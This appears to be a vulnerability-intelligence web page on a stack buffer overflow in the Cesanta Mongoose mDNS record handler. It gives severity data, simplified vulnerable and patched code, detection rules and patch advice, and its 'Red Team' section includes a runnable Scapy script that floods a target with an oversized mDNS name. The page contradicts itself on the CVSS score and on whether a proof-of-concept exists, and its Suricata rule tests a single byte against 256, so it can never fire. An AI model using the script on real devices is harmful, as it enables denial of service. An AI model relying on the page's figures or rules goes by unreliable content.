☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Cesanta logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.3 🐛 CWE-119
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-5245

CVE-2026-5245 is a stack-based buffer overflow vulnerability in Cesanta Mongoose, a popular embedded web server and networking library.
📅 PUBLISHED: 2026-04-02 09:00 UTC 🔄 UPDATED: 2026-09-22 23:51 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.72%
👁️
0.72% probability
17.9× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1203
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
6.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-5245 is a stack-based buffer overflow vulnerability in Cesanta Mongoose, a popular embedded web server and networking library. The flaw resides in the handle_mdns_record function within mongoose.c, specifically in the mDNS record handler. By manipulating the buf argument, an attacker can trigger a stack-based buffer overflow. While the attack complexity is high and exploitation is considered difficult, a public proof-of-concept exists. The vendor, Cesanta, responded professionally and released a patched version (7.21). This vulnerability could allow remote attackers to cause a denial of service or potentially achieve code execution on devices using the vulnerable library.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the Cesanta Mongoose library, which is widely used as a dependency in embedded systems, IoT devices, and various software projects. Organizations using Mongoose in their supply chain must ensure they are not using version 7.20 or earlier. The library is often statically linked, meaning a vulnerable version in a product requires a full firmware or software update from the vendor. The patch is available in the official GitHub repository, and the fix is a single commit.

CVSS Breakdown & Threat Level

  • CVSS Score: 5.6 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L
  • Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely over the network.
  • Attack Complexity (AC): High (H) - Successful exploitation requires specific conditions or a high degree of skill.
  • Privileges Required (PR): None (N) - No authentication is required.
  • User Interaction (UI): None (N) - No user action is needed.
  • Scope (S): Unchanged (U) - The vulnerability does not affect other components.
  • Confidentiality (C): Low (L) - Limited information disclosure is possible.
  • Integrity (I): Low (L) - Limited data modification is possible.
  • Availability (A): Low (L) - A denial of service condition is possible.

Threat Level: Medium. The high attack complexity and difficulty of exploitation reduce the immediate risk, but the public availability of exploit details and the widespread use of Mongoose in embedded systems make this a significant concern for IoT and critical infrastructure.

Deep Dive & Mechanics

The vulnerability is a classic stack-based buffer overflow in the handle_mdns_record function. This function is responsible for parsing mDNS (Multicast DNS) records. mDNS is a protocol used for service discovery on local networks without a dedicated DNS server.

Root Cause: The function does not properly validate the length of the buf argument before copying data into a fixed-size stack buffer. By sending a crafted mDNS packet with an oversized record, an attacker can overwrite the stack, potentially corrupting the return address and other critical data.

Attack Vector: An attacker on the same network segment (or able to send mDNS packets to the target) can send a malicious mDNS query or response. The vulnerable handle_mdns_record function is called during the processing of this packet.

Exploitation Difficulty: The attack complexity is high because:

  1. The attacker must craft a valid mDNS packet that triggers the overflow.
  2. The exact stack layout and buffer sizes may vary depending on the compilation and platform.
  3. Modern exploit mitigations (ASLR, NX, stack canaries) may make code execution more difficult, but a denial of service is still easily achievable.

Vulnerable vs. Patched Code

The patch (commit 0d882f1b43ff2308b7486a56a9d60cd6dba8a3f1) introduces bounds checking before copying data into the stack buffer.

Vulnerable Code (simplified):

static void handle_mdns_record(struct mg_connection *c, int type, char *buf, size_t len) {
    char name[256]; // Fixed-size stack buffer
    // ... some processing ...
    memcpy(name, buf, len); // No bounds check! Potential overflow.
    // ... further processing ...
}

Patched Code (simplified):

static void handle_mdns_record(struct mg_connection *c, int type, char *buf, size_t len) {
    char name[256]; // Fixed-size stack buffer
    // ... some processing ...
    if (len > sizeof(name) - 1) { // Bounds check added
        mg_error(c, "mDNS record too long");
        return;
    }
    memcpy(name, buf, len);
    name[len] = '\0'; // Ensure null-termination
    // ... further processing ...
}

The patch adds a check to ensure the input length does not exceed the buffer size, preventing the overflow.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A target running Cesanta Mongoose version 7.20 or earlier with mDNS enabled.
  • Network access to the target (same broadcast domain or ability to send unicast mDNS).
  • Python with scapy library installed.

Exploit Concept: The exploit sends a crafted mDNS packet with an oversized record in the answer section. The buf argument passed to handle_mdns_record will contain the malicious data, causing a stack overflow.

Proof-of-Concept (Python with Scapy):

#!/usr/bin/env python3
from scapy.all import *
import sys

def exploit(target_ip, target_port=5353):
    # Craft a malicious mDNS packet
    # The key is to have a record with a very long name or data field
    # that triggers the overflow in handle_mdns_record.

    # Build a DNS question for a long hostname
    long_name = "A" * 300  # Exceeds the 256-byte buffer
    dns_query = DNSQR(qname=long_name + ".local", qtype="A")

    # Build the DNS packet
    packet = IP(dst=target_ip) / UDP(sport=5353, dport=target_port) / DNS(id=0, qr=0, qd=dns_query)

    print(f"[*] Sending malicious mDNS packet to {target_ip}:{target_port}")
    send(packet, verbose=0)

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <target_ip> [port]")
        sys.exit(1)
    target_ip = sys.argv[1]
    target_port = int(sys.argv[2]) if len(sys.argv) > 2 else 5353
    exploit(target_ip, target_port)

Expected Outcome: The target application may crash (DoS) or, with careful crafting, allow for arbitrary code execution.

Blue Team (Detection & Defense)

Detection:

  1. Network Monitoring: Monitor for mDNS packets with abnormally long record names or data fields. A typical mDNS name is under 255 bytes. Any name exceeding 256 bytes is suspicious.
  2. Host Monitoring: Monitor for crashes or segmentation faults in processes using the Mongoose library.
  3. Log Analysis: Enable detailed logging for the Mongoose library. Look for error messages related to mDNS parsing failures.

Defense:

  1. Patch Immediately: Upgrade to Mongoose version 7.21 or later.
  2. Network Segmentation: Isolate devices using Mongoose on a separate VLAN to limit exposure.
  3. Firewall Rules: Block or restrict mDNS traffic (UDP 5353) from untrusted networks.
  4. Intrusion Prevention System (IPS): Deploy signatures to detect oversized mDNS records.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • mDNS packets (UDP port 5353) with a record name or data field exceeding 256 bytes.
    • Unusually large mDNS packets (e.g., > 1500 bytes).
    • Multiple mDNS queries from a single source to a single target in a short period.
  • Host IOCs:
    • Application crash logs showing a stack overflow in handle_mdns_record.
    • Core dumps from processes using the Mongoose library.
    • Unexpected process termination or high CPU usage in the Mongoose process.
  • File IOCs:
    • The presence of the vulnerable mongoose.c file (version 7.20 or earlier) in the application source or binary.

Detection Engineering

YARA Rule

rule CVE_2026_5245_Mongoose_mDNS_Overflow {
    meta:
        description = "Detects potentially malicious mDNS packets targeting CVE-2026-5245"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-5245"
    strings:
        $mDNS_header = { 00 00 00 00 00 01 00 00 00 00 00 00 } // Standard mDNS query header
        $long_name = /[A-Za-z0-9\-_\.]{257,}\x00/ // Name longer than 256 bytes
    condition:
        $mDNS_header at 0 and #long_name > 0
}

Sigma Rule

title: CVE-2026-5245 - Cesanta Mongoose mDNS Stack Buffer Overflow
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects network traffic indicative of an attempt to exploit CVE-2026-5245 in Cesanta Mongoose mDNS handler.
author: Valters IT
date: 2026/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-5245
logsource:
    category: network_flow
    product: zeek
detection:
    selection:
        destination_port: 5353
        udp_length: "> 1500"
    condition: selection
falsepositives:
    - Legitimate but oversized mDNS packets (rare)
level: high

Suricata Rule

alert udp any any -> any 5353 (msg:"CVE-2026-5245 - Cesanta Mongoose mDNS Stack Buffer Overflow Attempt"; content:"|00 00 00 00 00 01 00 00 00 00 00 00|"; depth:12; byte_test:1,>,256,12,relative; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Patch: Upgrade all instances of Cesanta Mongoose to version 7.21 or later. The patch is available at: https://github.com/cesanta/mongoose/commit/0d882f1b43ff2308b7486a56a9d60cd6dba8a3f1
  2. Disable mDNS: If mDNS is not required for your application, disable it in the Mongoose configuration. This removes the attack surface entirely.
  3. Network Controls: Implement firewall rules to restrict mDNS traffic (UDP 5353) to only trusted devices and networks.

Long-Term Mitigations:

  1. Static Analysis: Integrate static analysis tools into your CI/CD pipeline to detect buffer overflow vulnerabilities in third-party libraries.
  2. Memory Safety: Consider using memory-safe languages or compiler flags (e.g., -fstack-protector-strong) to mitigate the impact of stack overflows.
  3. Vendor Management: Establish a process for tracking and applying security patches for all embedded libraries and dependencies.
  4. Regular Audits: Conduct regular security audits of your network and devices to identify vulnerable software versions.

Valters IT
Securing Digital Frontiers

{/* [Security Hash: 2AE5FE1E72D197824AF9F521] */}

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-5245/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.